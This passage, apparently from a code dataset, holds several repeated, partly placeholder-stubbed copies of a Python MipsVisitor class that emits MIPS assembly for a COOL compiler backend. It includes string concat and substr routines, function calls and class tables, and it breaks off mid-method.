else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n <function token>\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n <function token>\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n 